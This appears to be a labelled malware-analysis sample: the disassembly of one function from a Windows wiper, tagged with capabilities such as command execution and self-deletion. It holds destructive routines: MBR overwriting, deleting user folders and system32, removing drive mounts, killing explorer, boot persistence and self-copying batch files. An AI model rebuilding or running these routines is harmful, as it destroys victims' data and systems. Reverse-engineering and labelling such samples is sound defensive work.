Function at 0x472ca0
Capabilities:
Contain obfuscated stackstrings
Execute command
Get hostname
Self delete

Disassembly:
push r15
push r14
mov eax, 0x10b8
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.004103a0
sub rsp, rax
mov r12d, ecx
mov rbx, rdx
call dbg.__main
cmp r12d, 1
je 0x47320f
movsxd rax, r12d
lea rsi, [rsp + 0xb0]
lea r8, [rsp + 0x90]
mov rdx, qword [rbx + rax*8 - 8]
mov rcx, rsi
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [sym.imp.msvcrt.dll__errno]
call rsi
lea rbp, [rsp + 0x8b0]
mov dword [rax], 0
mov r8d, 0xa
mov rcx, rdi
mov rdx, rbp
call sym.strtol
cmp rdi, qword [rsp + 0x8b0]
mov r13d, eax
je 0x4736df
call rsi
cmp dword [rax], 0x22
je 0x4731df
mov rax, qword [rsp + 0xb0]
mov rdx, rbp
mov dword [global___val], r13d
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
lea rdx, [0x004740f4]
lea rcx, [0x004aa040]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x472da2
lea rax, [0x004aa040]
lea rdi, [0x0048a65f]
mov ecx, 5
mov rsi, rax
repe cmpsb byte [rsi], byte [rdi]
je 0x473074
lea rdi, str.AN_OLD_PC
mov ecx, 0xa
mov rsi, rax
repe cmpsb byte [rsi], byte [rdi]
je 0x473074
call dbg.ElevationPrivilege()
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov edx, 5
mov rcx, rax
mov rdi, qword [sym.imp.USER32.dll_GetWindow]
call rdi
mov rbp, qword [sym.imp.USER32.dll_GetWindowLongA]
mov rsi, rax
jmp 0x472dd7
mov rcx, rsi
mov edx, 2
call rdi
mov rsi, rax
mov edx, 0xfffffff0
mov rcx, rsi
call rbp
and eax, 0x10800000
cmp eax, 0x10800000
jne 0x472dca
xor edx, edx
mov rcx, qword [0x004aa030]
call qword [sym.imp.USER32.dll_ShowWindow]
cmp r12d, 2
mov rsi, qword [sym.imp.msvcrt.dll__time64]
jle 0x472eb0
mov rsi, qword [rbx + 8]
lea rdx, str._save
mov rcx, rsi
call sym.strcmp
test eax, eax
je 0x4738a7
lea rdx, str._autoup
mov rcx, rsi
call sym.strcmp
test eax, eax
je 0x4730a2
lea rdx, str._killMBR
mov rcx, rsi
call sym.strcmp
test eax, eax
jne 0x473225
mov rsi, qword [sym.imp.msvcrt.dll__time64]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x472e77
mov ecx, 0x14
call rdi
xor ecx, ecx
call rsi
mov edx, dword [global___val]
cmp rdx, rax
jg 0x472e70
call dbg.KillMBR()
call dbg.KillMBR()
jmp 0x472e86
lea rdx, str._protect
mov rcx, rbx
call dbg.start(char**, char const*)
lea rdx, str._save
mov rcx, rbx
call dbg.start(char**, char const*)
xor ecx, ecx
call rsi
mov edx, dword [global___val]
add rax, 5
cmp rax, rdx
jl 0x472e92
lea rcx, str.taskkill__f__im_explorer.exe
lea rsi, [rsp + 0xb0]
lea r15, [rsp + 0x70]
lea r14, [rsp + 0x90]
lea r13, [rsp + 0x8b0]
lea r12, [rsp + 0xa0]
call sym.system
jmp 0x472f34
mov rcx, qword [rsp + 0x8b0]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x473091
mov rax, qword [rsp + 0xb0]
mov edx, 0xffffffff
lock xadd dword [rax - 8], edx
test edx, edx
jle 0x473080
lea rdx, str._autoup
mov rcx, rbx
call dbg.start(char**, char const*)
lea rdx, str._killwindows
mov rcx, rbx
call dbg.start(char**, char const*)
lea rdx, str._KillHardDisk
mov rcx, rbx
call dbg.start(char**, char const*)
lea rdx, str._killMBR
mov rcx, rbx
call dbg.start(char**, char const*)
lea rdx, str._protect
mov rcx, rbx
call dbg.start(char**, char const*)
lea rdx, str._autoup
mov rcx, rbx
call dbg.start(char**, char const*)
mov rdx, qword [rbx]
mov r8, r15
mov rcx, rsi
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea r8, str.cpoy
mov r9d, 5
xor edx, edx
mov rcx, rsi
call method.std::string.insert_unsigned_long_long__char_const__unsigned_long_long_
mov rdi, rax
mov rax, qword [rax]
mov r8, r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x8b0], rax
call method.std::string._S_construct_unsigned_long_long__char__std::allocator_char__const_
lea rdx, [0x0048a568]
mov qword [rdi], rax
mov r8d, 0x20
mov rcx, r13
call method.std::string.append_char_const__unsigned_long_long_
mov r8, r12
xor edx, edx
xor ecx, ecx
mov rdi, rax
mov rbp, qword [rax]
call method.std::string._S_construct_unsigned_long_long__char__std::allocator_char__const_
mov qword [rdi], rax
mov rcx, rbp
call sym.system
mov eax, 0xffffffff
lock xadd dword [rbp - 8], eax
test eax, eax
jg 0x472f00
lea rcx, [rbp - 0x18]
mov rdx, r12
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x472f00
lea rdx, str._mulan
mov rcx, rsi
call sym.strcmp
test eax, eax
jne 0x473074
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call sym.srand
call sym.rand
mov ecx, 0xe
cdq
xor r9d, r9d
idiv ecx
lea rax, [0x00474040]
lea r8, [0x0048a64a]
xor ecx, ecx
movsxd rdx, edx
mov rdx, qword [rax + rdx*8]
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call sym.exit
nop dword [rax + rax]
lea rcx, [rax - 0x18]
mov rdx, r13
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x472f34
sub rcx, 0x18
mov rdx, r12
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x472f1a
mov rsi, qword [sym.imp.msvcrt.dll__time64]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4730b9
mov ecx, 0x14
call rdi
xor ecx, ecx
call rsi
mov edx, dword [global___val]
cmp rdx, rax
jg 0x4730b2
xor ecx, ecx
lea rbp, [rsp + 0x8b0]
lea r12, [rsp + 0x80]
call rsi
mov ecx, eax
call sym.srand
call sym.rand
mov esi, eax
call sym.rand
lea rdx, [dbg.vsnprintf(char*, unsigned long long, char const*, char*)]
add eax, esi
lea r9, [0x0048a589]
mov rcx, rbp
mov dword [rsp + 0x20], eax
mov r8d, 0x10
call dbg.std::string __gnu_cxx::__to_xstring<std::string, char>(int (*)(char*, unsigned long long, char const*, char*), unsigned long long, char const*, ::)
mov rdx, rbp
mov rcx, r12
call dbg.stringToWstring(std::string const&)
mov rax, qword [rsp + 0x8b0]
lea rsi, [rsp + 0xb0]
lea r13, [rsp + 0xa0]
mov rdx, rsi
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rdx, qword [rbx]
mov r8, rsi
mov rcx, r13
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rbx, [rsp + 0x90]
mov rdx, r13
mov rcx, rbx
call dbg.stringToWstring(std::string const&)
mov rax, qword [rsp + 0xa0]
mov rdx, rbp
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
jmp 0x47319a
mov rcx, qword [rsp + 0x8b0]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x4736f0
mov rdx, rbx
mov rcx, rbp
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
mov rdx, r12
mov rcx, rsi
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
mov rdx, rbp
mov rcx, rsi
call dbg.SetBootStartUp(std::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >, std::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >)
mov rcx, qword [rsp + 0xb0]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jg 0x473180
sub rcx, 0x18
mov rdx, r13
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::_Rep._M_destroy_std::allocator_wchar_t__const_
jmp 0x473180
lea rcx, [0x0048a4fb]
call method.std.__throw_out_of_range_char_const_
lea rdx, [rsp + 0xa0]
mov rbx, rax
mov rax, qword [rsp + 0xb0]
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rcx, rbx
call dbg._Unwind_Resume
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
add eax, 0x14
mov dword [global___val], eax
jmp 0x472d55
lea rdx, str._KillHardDisk
mov rcx, rsi
call sym.strcmp
test eax, eax
jne 0x47327a
mov rsi, qword [sym.imp.msvcrt.dll__time64]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x47324f
mov ecx, 0x14
call rdi
xor ecx, ecx
call rsi
mov edx, dword [global___val]
cmp rdx, rax
jg 0x473248
nop
lea rcx, str.del_C:users__r__f
call sym.system
lea rcx, str.mountvol_c:__d
call sym.system
jmp 0x473260
lea rdx, str._protect
mov rcx, rsi
call sym.strcmp
test eax, eax
je 0x47330e
lea rdx, str._killwindows
mov rcx, rsi
call sym.strcmp
test eax, eax
jne 0x473025
mov rsi, qword [sym.imp.msvcrt.dll__time64]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call rsi
mov edx, dword [global___val]
cmp rax, rdx
jge 0x4732d0
mov ecx, 0x14
call rdi
jmp 0x4732b6
lea rcx, str.C:windows_system32_taskmgr.exe
call dbg.KillFile(char const*)
lea rcx, str.C:windowsexplorer.exe
call dbg.KillFile(char const*)
lea rcx, str.C:windows_system32drivers
call dbg.KillIndex(char const*)
lea rcx, str.C:windows_system32config
call dbg.KillIndex(char const*)
lea rcx, str.C:windows_system32
call dbg.KillIndex(char const*)
jmp 0x4732d0
xor ecx, ecx
lea rsi, [rsp + 0xb0]
lea rbp, [rsp + 0x8b0]
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
lea r13, [rsp + 0xa0]
lea r12, [rsp + 0x80]
call sym.srand
lea rax, [rsp + 0x5e]
lea r14, [rsp + 0x5f]
lea r15, [rsp + 0x90]
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
call sym.rand
mov edi, 0xa
cdq
mov ecx, 0x100
idiv edi
xor eax, eax
mov rdi, rsi
mov r8, qword [rsp + 0x40]
rep stosq qword [rdi], rax
mov rdi, rbp
mov dword [rsp + 0x38], edx
lea rdx, str..txt
mov cx, 0x100
rep stosq qword [rdi], rax
mov rcx, r13
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
call sym.rand
lea r9, [0x0048a589]
lea rdx, [dbg.vsnprintf(char*, unsigned long long, char const*, char*)]
mov dword [rsp + 0x20], eax
mov r8d, 0x10
mov rcx, r12
call dbg.std::string __gnu_cxx::__to_xstring<std::string, char>(int (*)(char*, unsigned long long, char const*, char*), unsigned long long, char const*, ::)
mov edx, dword [rsp + 0x38]
mov rdi, qword [rsp + 0x30]
lea r9, [0x0048a589]
mov r8d, 0x10
mov dword [rsp + 0x20], edx
lea rdx, [dbg.vsnprintf(char*, unsigned long long, char const*, char*)]
mov rcx, rdi
call dbg.std::string __gnu_cxx::__to_xstring<std::string, char>(int (*)(char*, unsigned long long, char const*, char*), unsigned long long, char const*, ::)
mov r8, r12
mov rdx, rdi
mov rcx, r15
mov qword [rsp + 0x30], rdi
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char_____std::basic_string_char__std::char_tr
mov rcx, qword [rsp + 0x48]
mov r8, r13
mov rdx, r15
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char_____std::basic_string_char__std::char_tr
mov rax, qword [rsp + 0x90]
mov rdx, r14
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rax, qword [rsp + 0x70]
mov rdx, r15
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rax, qword [rsp + 0x80]
mov rdx, r15
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rax, qword [rsp + 0xa0]
mov rdx, r15
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
call qword [sym.imp.msvcrt.dll___iob_func]
lea rdx, str..bat
mov r8, r14
mov rcx, r12
lea rdi, [rax + 0x30]
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
call sym.rand
imul eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
lea r9, [0x0048a589]
lea rdx, [dbg.vsnprintf(char*, unsigned long long, char const*, char*)]
mov r8d, 0x10
mov dword [rsp + 0x20], eax
call dbg.std::string __gnu_cxx::__to_xstring<std::string, char>(int (*)(char*, unsigned long long, char const*, char*), unsigned long long, char const*, ::)
mov rdx, qword [rsp + 0x30]
mov r8, r12
mov rcx, r15
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char_____std::basic_string_char__std::char_tr
mov rcx, qword [rsp + 0x90]
lea rdx, [0x0048a596]
mov r8, rdi
call sym.freopen
mov rax, qword [rsp + 0x90]
mov rdx, r13
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rax, qword [rsp + 0x70]
mov rdx, r13
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rax, qword [rsp + 0x80]
mov rdx, r13
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rcx, qword [0x0048ed90]
lea rdx, str._0_0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov r8, qword [rbx]
mov r9, qword [rsp + 0x60]
lea rdx, str.copy__b__s_s__s
mov rcx, rsi
mov qword [rsp + 0x20], r8
call dbg.sprintf(char*, char const*, ::)
mov r8, qword [rbx]
lea rdx, str.start__s
mov rcx, rbp
call dbg.sprintf(char*, char const*, ::)
mov rcx, qword [rsp + 0x60]
lea rdx, [0x0048a5b8]
call sym.fopen
mov rdi, rax
call sym.rand
lea rdx, [0x0048a589]
mov rcx, rdi
mov r8d, eax
call dbg.fprintf(_iobuf*, char const*, ::)
mov rcx, rdi
call sym.fclose
xor eax, eax
mov rdi, rsi
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx r8d, byte [rsp + 0x38]
mov rdi, rbp
not rcx
mov rdx, rcx
sub rdx, 1
lea ecx, [rdx - 1]
lea r9d, [rdx - 2]
lea r10d, [rdx - 3]
lea r11d, [rdx - 4]
xor r8d, 0x30
movsxd rdx, edx
movsxd rcx, ecx
movsxd r9, r9d
movsxd r10, r10d
movsxd r11, r11d
mov byte [rsp + r11 + 0xb0], r8b
mov byte [rsp + r10 + 0xb0], 0x2e
mov byte [rsp + r9 + 0xb0], 0x65
mov byte [rsp + rcx + 0xb0], 0x78
or rcx, 0xffffffffffffffff
mov byte [rsp + rdx + 0xb0], 0x65
repne scasb al, byte [rdi]
mov rax, rcx
not rax
sub rax, 1
lea ecx, [rax - 2]
lea r9d, [rax - 3]
lea r10d, [rax - 4]
lea edx, [rax - 1]
cdqe
movsxd rcx, ecx
movsxd r9, r9d
movsxd r10, r10d
mov byte [rsp + r10 + 0x8b0], r8b
movsxd rdx, edx
mov byte [rsp + r9 + 0x8b0], 0x2e
mov byte [rsp + rcx + 0x8b0], 0x65
mov rcx, rsi
mov byte [rsp + rdx + 0x8b0], 0x78
mov byte [rsp + rax + 0x8b0], 0x65
call sym.system
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
lea r9, [0x0048a5bb]
lea rdx, [dbg.vsnprintf(char*, unsigned long long, char const*, char*)]
mov r8d, 0x10
mov rax, rcx
mov rcx, r13
not rax
mov word [rbp + rax - 1], 0x20
mov eax, dword [global___val]
mov dword [rsp + 0x20], eax
call dbg.std::string __gnu_cxx::__to_xstring<std::string, char>(int (*)(char*, unsigned long long, char const*, char*), unsigned long long, char const*, ::)
mov rdi, qword [rsp + 0xa0]
mov rcx, rbp
mov rdx, rdi
call sym.strcat
lea rcx, [rdi - 0x18]
mov rdx, r15
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rcx, rbp
call sym.system
mov rax, qword [rsp + 0x60]
mov rdx, r13
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
cmp dword [rsp + 0x3c], 1
je 0x473701
mov dword [rsp + 0x3c], 1
jmp 0x473370
lea rcx, [0x0048a4fb]
call method.std.__throw_invalid_argument_char_const_
nop dword [rax + rax]
sub rcx, 0x18
mov rdx, rsi
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::_Rep._M_destroy_std::allocator_wchar_t__const_
jmp 0x47319a
mov rsi, qword [rbx + 8]
jmp 0x473291
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
call rbx
mov ecx, 1
mov esi, eax
call rbx
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call sym.srand
mov r12, qword [sym.imp.USER32.dll_SetCursorPos]
mov rbp, qword [sym.imp.USER32.dll_mouse_event]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
call sym.rand
cdq
idiv esi
mov r13d, edx
call sym.rand
cdq
mov ecx, r13d
idiv ebx
call r12
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 6
call rbp
mov ecx, 2
call rdi
jmp 0x4738e1